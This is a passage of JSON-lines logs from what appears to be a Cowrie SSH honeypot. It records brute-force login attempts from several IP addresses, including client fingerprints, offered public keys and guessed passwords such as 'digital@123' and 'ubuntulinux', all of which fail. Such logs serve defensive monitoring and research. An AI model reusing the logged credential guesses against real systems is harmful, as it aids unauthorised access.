25:6a:49:e9:28:da:02:2b:55:ce:03:c2:da:ad:f3:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:50.131626Z","src_ip":"185.65.107.14","session":"34dad25f062b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"25:6a:49:e9:28:da:02:2b:55:ce:03:c2:da:ad:f3:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8nDV3QMo7WoDvMi6eeT7G7HI2O8BaXFC6y7r4ON7BLyirWnQYcpJKANdh9ntbDKNA0n1Z6AVARoKB2cv4pQ4+QcTkZdKgJweXn8aQ3JDdLXuXe880GSQtEGheSNfT86ChEDEk8Om2MEIaBPuy4TvRza2AVBLuGqxihE/TJI1+LN2j4RMJwB+VoHzhkzXuJxknQNEFzaGa0Td1UZCn8rrd0CEdivOrLxJqWvT0dQAxKH9jCTbKx4AOo+3oM1X0MdMFzzhH9ZeYgtHy6t4VUmmPnpQVwOo9a6j68zHH8Y450azYxbK5OkLw6mho2X3F66Ds6tS2H74bKf9JD7dpLqwAVQK9ia6wLQ/xb/BmCH+KAuRLRHV+CSvJs+GNJwPg8e7+4LRT4oRSkFY4v5wL1hrG30FSfbea5WgSdqa965r2g1mAI2yymizEAJgY2xsJl7Bs74tfWXt7Qa+hdbcLCdAZg6+7Acj5Koh/DPeeAvR8coZ1qzPHM45K3ER+jbNRQwDPrO9D8DWkZqra7w0iBHnqLqLfgHwqJDVTH8yJaRP9fB6a7vTWR3o7rLufJ3ya4FZvL4Q4+0w5K3FdWJ3xos34ijujh7sMUXXuX6nr2XqLai5ezvBuN79OgHNzxvLr6r6pTNbjBWjXCz7QbX6LrDT6OnLZ3Lwi7By9Ql2Po2/XCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:50.135992Z","src_ip":"185.65.107.14","session":"34dad25f062b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:0c:f7:0e:47:eb:38:91:8c:80:d1:db:f6:a3:a2:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXtzNl41/6J9LPM/lUIoVuLQIXbkPkWpg76Z8LSmEfbo67tOcLoXMmBtSCffWpM2w4b+tLXFuGDSLmmgiJjuTl3zlsfMYrlr+IMjzlVERDSeGkyoxoxP2rDwGKPQImGNylLdiaLzbYMDBVnGoGmu5XIM5GFn8pmdYQnBiozxj3E5hVBR6z0ajrHrK3WKzCDT4j5r2LD9bduvBrUz7hTOut/fWJiyY4Mxd10GSo5une7fTnkxYxvsyxmloYOFopKBWoXKzLEV0oJB1SGQTmqImp8JBGqjQg/0kz2+SQ/VxYMGZPPckf+V04Im3UZGY2uLE3P/DTEZU80xRFvM0FBy9V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:0c:f7:0e:47:eb:38:91:8c:80:d1:db:f6:a3:a2:0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:50.248414Z","src_ip":"185.65.107.14","session":"34dad25f062b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:0c:f7:0e:47:eb:38:91:8c:80:d1:db:f6:a3:a2:0b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXtzNl41/6J9LPM/lUIoVuLQIXbkPkWpg76Z8LSmEfbo67tOcLoXMmBtSCffWpM2w4b+tLXFuGDSLmmgiJjuTl3zlsfMYrlr+IMjzlVERDSeGkyoxoxP2rDwGKPQImGNylLdiaLzbYMDBVnGoGmu5XIM5GFn8pmdYQnBiozxj3E5hVBR6z0ajrHrK3WKzCDT4j5r2LD9bduvBrUz7hTOut/fWJiyY4Mxd10GSo5une7fTnkxYxvsyxmloYOFopKBWoXKzLEV0oJB1SGQTmqImp8JBGqjQg/0kz2+SQ/VxYMGZPPckf+V04Im3UZGY2uLE3P/DTEZU80xRFvM0FBy9V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:50.252589Z","src_ip":"185.65.107.14","session":"34dad25f062b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:df:15:d9:57:cc:25:91:5b:16:20:64:a9:fa:a8:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEvwBq7Kiqd79EgktLF84oAj3DOVPTKDPIbpNuCmQ0uzW3YQj2Y9qYhhH7bJ3bTXB+qq8bjf03r3DNCOSflhoaykAMWBWn9ih2JuTosTmGh2GT/h1TyB3YAklJoiXsPLk8Q72KuGz37MYJUYIpqa5+xMJ0VULnHe9wlR0kBIgcawHQQF1flqlqaNkpfqm8KAhdKs/uiaj6rLmrI67BzxZfDy0yKP4Cp3gm3n71G+Wtd18qkc29vFAgSK+G3XJaZd98DrjgtnvtY0yk61HK8y7hcbycXgUcEg3ZuyOvMVS4lzp2nuLISXvP+rEWCNDd7t/7+WKrQHZRaYNmeGsE5ZWb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:df:15:d9:57:cc:25:91:5b:16:20:64:a9:fa:a8:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:50.376628Z","src_ip":"185.65.107.14","session":"34dad25f062b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:df:15:d9:57:cc:25:91:5b:16:20:64:a9:fa:a8:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEvwBq7Kiqd79EgktLF84oAj3DOVPTKDPIbpNuCmQ0uzW3YQj2Y9qYhhH7bJ3bTXB+qq8bjf03r3DNCOSflhoaykAMWBWn9ih2JuTosTmGh2GT/h1TyB3YAklJoiXsPLk8Q72KuGz37MYJUYIpqa5+xMJ0VULnHe9wlR0kBIgcawHQQF1flqlqaNkpfqm8KAhdKs/uiaj6rLmrI67BzxZfDy0yKP4Cp3gm3n71G+Wtd18qkc29vFAgSK+G3XJaZd98DrjgtnvtY0yk61HK8y7hcbycXgUcEg3ZuyOvMVS4lzp2nuLISXvP+rEWCNDd7t/7+WKrQHZRaYNmeGsE5ZWb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:50.380400Z","src_ip":"185.65.107.14","session":"34dad25f062b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0b:35:e1:2c:55:22:31:7c:33:75:33:20:c6:e4:57:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAzcskEwerXf28foB7fhEuvrUpOGcbSt0pn+8LEVNv60C5zOkkuo3m27pVkfpFIR9VVsobe+fTQthwZdQ6bXXG0jymdehQW7RUEeSm/mWFxEOy4I0VmPUlAoU9/JLZb9OvCoQIqBTuM0YH8dYfLB7jMHIAQj2tqrjF96/zACH3/uc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0b:35:e1:2c:55:22:31:7c:33:75:33:20:c6:e4:57:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:50.493376Z","src_ip":"185.65.107.14","session":"34dad25f062b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0b:35:e1:2c:55:22:31:7c:33:75:33:20:c6:e4:57:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAzcskEwerXf28foB7fhEuvrUpOGcbSt0pn+8LEVNv60C5zOkkuo3m27pVkfpFIR9VVsobe+fTQthwZdQ6bXXG0jymdehQW7RUEeSm/mWFxEOy4I0VmPUlAoU9/JLZb9OvCoQIqBTuM0YH8dYfLB7jMHIAQj2tqrjF96/zACH3/uc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:50.497554Z","src_ip":"185.65.107.14","session":"34dad25f062b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:13:50.609390Z","src_ip":"185.65.107.14","session":"34dad25f062b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.26.74.162","src_port":50596,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7a908bed472","protocol":"ssh","message":"New connection: 36.26.74.162:50596 (10.17.0.5:22) [session: e7a908bed472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:10.323360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:10.329939Z","src_ip":"36.26.74.162","session":"e7a908bed472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:10.553796Z","src_ip":"36.26.74.162","session":"e7a908bed472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"digital","password":"digital@123","message":"login attempt [digital/digital@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:11.469187Z","src_ip":"36.26.74.162","session":"e7a908bed472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:13.220145Z","src_ip":"36.26.74.162","session":"e7a908bed472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":53724,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e34210d7120","protocol":"ssh","message":"New connection: 103.228.69.212:53724 (10.17.0.5:22) [session: 9e34210d7120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:23.730264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:23.735506Z","src_ip":"103.228.69.212","session":"9e34210d7120","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:23.979795Z","src_ip":"103.228.69.212","session":"9e34210d7120","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntulinux","message":"login attempt [root/ubuntulinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:24.970451Z","src_ip":"103.228.69.212","session":"9e34210d7120","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:26.219070Z","src_ip":"103.228.69.212","session":"9e34210d7120","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.242.183","src_port":39652,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a0c5125da1c","protocol":"ssh","message":"New connection: 208.87.242.183:39652 (10.17.0.5:22) [session: 5a0c5125da1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:49.462729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:49.467024Z","src_ip":"208.87.242.183","session":"5a0c5125da1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:49.540441Z","src_ip":"208.87.242.183","session":"5a0c5125da1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:0c:22:40:3e:c8:d3:54:a7:ef:5e:13:71:6f:20:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSx7sM55/RqyU/03UmOPU1Db55PMX4mWLEFPS+ZnlZktozECGjQCqUd3by0Q4tFEjy9U4jRoxvyypbruPIIx6glhpmgpzWSgKjo1fWK3vEu/L7AJWtEMFuen4y/MPrdynObg8czPhK/eHg18JwopUPIsudcpzF4f2rRIlFRxjIRAoWjJwbnyLXGyHFQmDPVbH8Jx2TyOfBWX4/n8cTV+8S7R5HcqkV+AV1MVYdbIqiNpB0Y+nY8DoYxD2et1pWBNMmVU37kuT9hlUraJ0/evq9dnyLdEuoneUmPdaA3QWPtX2j0SDH8uciqK5SHKOlrPdQmV5MTwOhzmTL3Q/XegTF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:0c:22:40:3e:c8:d3:54:a7:ef:5e:13:71:6f:20:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:49.887618Z","src_ip":"208.87.242.183","session":"5a0c5125da1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:0c:22:40:3e:c8:d3:54:a7:ef:5e:13:71:6f:20:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSx7sM55/RqyU/03UmOPU1Db55PMX4mWLEFPS+ZnlZktozECGjQCqUd3by0Q4tFEjy9U4jRoxvyypbruPIIx6glhpmgpzWSgKjo1fWK3vEu/L7AJWtEMFuen4y/MPrdynObg8czPhK/eHg18JwopUPIsudcpzF4f2rRIlFRxjIRAoWjJwbnyLXGyHFQmDPVbH8Jx2TyOfBWX4/n8cTV+8S7R5HcqkV+AV1MVYdbIqiNpB0Y+nY8DoYxD2et1pWBNMmVU37kuT9hlUraJ0/evq9dnyLdEuoneUmPdaA3QWPtX2j0SDH8uciqK5SHKOlrPdQmV5MTwOhzmTL3Q/XegTF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:49.891663Z","src_ip":"208.87.242.183","session":"5a0c5125da1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:03:86:1e:53:00:4d:24:73:27:40:6a:a0:90:2e:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXqASxq6TmmcCDBzopAXfg0aFVzoKA/rT1qgjRaxOrSlpE0GH/1d3U3Md57Dc48Wj/1pDV+ynuI8U/e7LaddSvDjG2COAhsWQBvRuz/dYVtk9YRohzQGsI9V4DGrsZmKJD/z06O8zarYy9sq30cu6wYmB0vZS2qBF5KCDI4rdDqH64rfH9nJ+TumCSpriH/DYJmiIiAGayCNzzF4+fg1TWIChFGNb6QLRBBy7OD5YyRbqsRpqooVv56iCUQc2DGuaDXZhA73ccykidOnIfHSAehdTyjXLy/SD0Ll15i7uvd/UU2NEq00yfbmzh4JJxr2QiCPWk/Yxxtgo5kdClPoNaK4BlCRos/ARNWlCjG3/woSIKVQAP/jtRJdRv+brvj4lY+XLk1+or8bqAp3pIxKCSM3r0PNwYgZ+jX0B9r6rlV3N0lIFVG7vwA+3LqW2ro4VMIQUZ+qclzfUwVsowbmaO0bPWWsT5uFmWBcpy8FheQtTKKcNPD1yULmGmf8dvuwmvx+lD7AhZd6R9vOWWoH51fmYbcCyJ6vgzVIHmZ642mNain1gzoiWwt39e0u9nDZSVDQ2z+SLFFu6b03XXEu2BXUDblKinISjspFebPdx7OCnqrvuJGnjoyrgTQJtuuvfPwAhjOC1CNb5GIYdbguAJ9m7p2fFb7AApo8ISN/NWCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:03:86:1e:53:00:4d:24:73:27:40:6a:a0:90:2e:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:49.966317Z","src_ip":"208.87.242.183","session":"5a0c5125da1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:03:86:1e:53:00:4d:24:73:27:40:6a:a0:90:2e:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXqASxq6TmmcCDBzopAXfg0aFVzoKA/rT1qgjRaxOrSlpE0GH/1d3U3Md57Dc48Wj/1pDV+ynuI8U/e7LaddSvDjG2COAhsWQBvRuz/dYVtk9YRohzQGsI9V4DGrsZmKJD/z06O8zarYy9sq30cu6wYmB0vZS2qBF5KCDI4rdDqH64rfH9nJ+TumCSpriH/DYJmiIiAGayCNzzF4+fg1TWIChFGNb6QLRBBy7OD5YyRbqsRpqooVv56iCUQc2DGuaDXZhA73ccykidOnIfHSAehdTyjXLy/SD0Ll15i7uvd/UU2NEq00yfbmzh4JJxr2QiCPWk/Yxxtgo5kdClPoNaK4BlCRos/ARNWlCjG3/woSIKVQAP/jtRJdRv+brvj4lY+XLk1+or8bqAp3pIxKCSM3r0PNwYgZ+jX0B9r6rlV3N0lIFVG7vwA+3LqW2ro4VMIQUZ+qclzfUwVsowbmaO0bPWWsT5uFmWBcpy8FheQtTKKcNPD1yULmGmf8dvuwmvx+lD7AhZd6R9vOWWoH51fmYbcCyJ6vgzVIHmZ642mNain1gzoiWwt39e0u9nDZSVDQ2z+SLFFu6b03XXEu2BXUDblKinISjspFebPdx7OCnqrvuJGnjoyrgTQJtuuvfPwAhjOC1CNb5GIYdbguAJ9m7p2fFb7AApo8ISN/NWCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:49.970651Z","src_ip":"208.87.242.183","session":"5a0c5125da1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:db:dc:07:4b:19:ad:01:f2:2a:9a:3a:63:c1:61:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCv5mSlFeFg1Jr9ctbKfxX+/cTRNsgAZNpn52+gE5XTbVg5AEpNJbNFM4V+FA0EDpC0KHlIAgW/Zmsp/uVP9yHCncWt2AByR69yWDZTtS1x1g8IaymNFHhe/ecBgofMbyK6PSbVZXrX3Xynp8uBZybBlBMkSZZxCmAdWYZ+CAfuAkphrGcDsqZ2mwvKyxfdTYOeZODEu6NRH9pKJ+UyKE1uPwGpY/rDbnvRN/RubDEKv2BPrK7Tq6zFsW4SsIpq1M3tfL6LEjNGbLvd/3OBVERS8y2i88UKHtXCx+G9lxBRhwy1p8i5VuSS/GhmcGeM79DQpSMUpyV85bfl9T6NcMW7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:db:dc:07:4b:19:ad:01:f2:2a:9a:3a:63:c1:61:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:50.049706Z","src_ip":"208.87.242.183","session":"5a0c5125da1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:db:dc:07:4b:19:ad:01:f2:2a:9a:3a:63:c1:61:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCv5mSlFeFg1Jr9ctbKfxX+/cTRNsgAZNpn52+gE5XTbVg5AEpNJbNFM4V+FA0EDpC0KHlIAgW/Zmsp/uVP9yHCncWt2AByR69yWDZTtS1x1g8IaymNFHhe/ecBgofMbyK6PSbVZXrX3Xynp8uBZybBlBMkSZZxCmAdWYZ+CAfuAkphrGcDsqZ2mwvKyxfdTYOeZODEu6NRH9pKJ+UyKE1uPwGpY/rDbnvRN/RubDEKv2BPrK7Tq6zFsW4SsIpq1M3tfL6LEjNGbLvd/3OBVERS8y2i88UKHtXCx+G9lxBRhwy1p8i5VuSS/GhmcGeM79DQpSMUpyV85bfl9T6NcMW7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:50.053740Z","src_ip":"208.87.242.183","session":"5a0c5125da1c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:8d:60:b4:e4:f2:e1:c1:5f:c7:f6:48:74:4c:79:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDK4pzPaxH0RNZ75k1QmpXYosJ2Xry27vFEC+WIHvvB7/oT6FWWVU8zelOd29WSY+ZSOEKh/T1XGtaawHi7usi75y5S7Rcnjr8PmNp4wvezlLsxHSe/1iYcJbFGHDD6pu40MLCLDusCue7IdngZ22DoexNWbHf5uBTqsbJg25JRka06P87tKhXrffYkO7xlC0lmT7DNv4URZEtFYE79m46mnQGvfVPBo9cgv2L5IDjrnvl6QMgkhZL6Bh3ZozxqIgtBT4icxVum2htUpKLDzFeCeSVRsMlPh5HbGzFHyhkT3SEoToRJN6x+omaG7BtZbbrbrhgOUaKYTTmG8GdMdaTZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:8d:60:b4:e4:f2:e1:c1:5f:c7:f6:48:74:4c:79:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:14:50.131557Z","src_ip":"208.87.242.183","session":"5a0c5125da1c","protocol":"ssh"}
